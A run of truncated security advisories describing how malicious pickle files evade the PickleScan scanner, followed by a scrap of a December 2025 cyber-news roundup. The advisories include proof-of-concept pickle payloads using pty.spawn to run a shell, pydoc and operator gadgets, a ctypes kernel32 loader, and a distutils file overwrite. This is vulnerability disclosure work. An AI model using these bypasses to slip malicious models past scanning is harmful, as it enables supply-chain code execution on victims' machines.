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### Summary The vulnerability allows malicious actors to bypass PickleScan's unsafe globals check, leading to potential arbitrary code execution. The issue stems from the absence of the `pty` library (more specifically, of the `pty.spawn` function) from PickleScan's list of unsafe globals. This vulnerability allows attackers to disguise malicious pickle payloads within files that would otherwise be scanned for pickle-based threats. ### Details For 2025's [HeroCTF](https://heroctf.fr/), there was a challenge named Irreductible 2 where players would need to bypass the latest versions of PickleScan and [Fickling](https://github.com/trailofbits/fickling/) to gain code execution. The challenge [writeup](https://github.com/HeroCTF/HeroCTF_v7/blob/master/Misc/Irreductible-2/README.md), [files](https://github.com/HeroCTF/HeroCTF_v7/tree/master/Misc/Irreductible-2) and [solve script](https://github.com/HeroCTF/HeroCTF_v7/blob/master/Misc/Irreductible-2/solve.py) have all been released. The i...

### Summary Using pty.spawn, which is a built-in python library function to execute arbitrary commands on the host system. ### Details The attack payload executes in the following steps: First, the attacker craft the payload by calling to `pty.spawn` function in the `__reduce__` method. Then the victim attempts to use picklescan to scan the pickle file for issues and sees this - ``` ----------- SCAN SUMMARY ----------- Scanned files: 1 Infected files: 0 Dangerous globals: 0 ``` The victim proceeds to load the pickle file and execute attacker-injected arbitrary code. ### PoC ``` class PtyExploit: def __reduce__(self): return (pty.spawn, (["/bin/sh", "-c", "id; exit"],)) ``` ### Impact **Who is impacted?** Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. **What is the impact?** Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. **Supply Chain Attack**: ...

### Summary Currently picklescanner only blocks some specific functions of the pydoc and operator modules. Attackers can use other functions within these allowed modules to go through undetected and achieve RCE on the final user. Particularly * pydoc.locate: Can dynamically resolve and import arbitrary modules (e.g., resolving the string "os" to the actual os module). * operator.methodcaller: Allows executing a method on an object. When combined with a resolved module object, it can execute functions like system. Since locate and methodcaller are not explicitly listed in the deny-list, picklescan treats them as "Safe" or "Suspicious" (depending on configuration) but does not flag them as "Dangerous", allowing the malicious file to bypass the security check. ### PoC use the provided script to create a malicious pickle file ```python import pickle import pydoc import operator import os class ModuleLocator: def __init__(self, module_name): self.module_name = module_name ...

### Summary Picklescan doesnt flag ctypes module as a dangerous module, which is a huge issue. ctypes is basically a foreign function interface library and can be used to * Load DLLs * Call C functions directly * Manipulate memory raw pointers. This can allow attackers to achieve RCE by invoking direct syscalls without going through blocked modules. Another major issue that ctypes being allowed presents is that it can be used down the line to dismantle interpreter based python sandboxes as ctypes allow direct access to raw memory. This is a more severe loophole than normal gadget chains and bypasses as raw memory access can be used for a lot of nefarious purposes down the line if left undetected ### PoC ```python import pickle import ctypes import operator class Kernel32Loader: def __reduce__(self): #we go direct to the kerneeellllllll return (ctypes.WinDLL, ("kernel32.dll",)) class WinExecGetter: def __reduce__(self): return (operator.itemgetter("W...

### Summary Picklescan has got open() and shutil in its default dangerous blocklist to prevent arbitrary file overwrites. However the module distutils isnt blocked and can be used for the same purpose ie to write arbitrary files. ### Details This is another vulnerability which impacts the downstream user. By constructing a pickle that user distutils.file_util.write_file, an attacker can overwrite critical system files (like .ssh/authorized_keys, web server configurations, or source code) to achieve DoS or escalate to RCE. ### PoC ```python import pickle import distutils.file_util class FileWriteBypass: def __reduce__(self): target_file = "pwned_config.env" content = ["print('I have overwritten your config')"] return (distutils.file_util.write_file, (target_file, content)) payload = pickle.dumps(FileWriteBypass()) with open("bypass_filewrite.pkl", "wb") as f: f.write(payload) print("bypass_filewrite.pkl") ``` <img width="853" heig...

Last week’s cyber news in 2025 was not about one big incident. It was about many small cracks opening at the same time. Tools people trust every day behave in unexpected ways. Old flaws resurfaced. New ones were used almost immediately. A common theme ran through it all in 2025. Attackers moved faster than fixes. Access meant for work, updates, or support kept getting abused. And damage did not

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A list of topics we covered in the week of December 22 to December 28 of 2025

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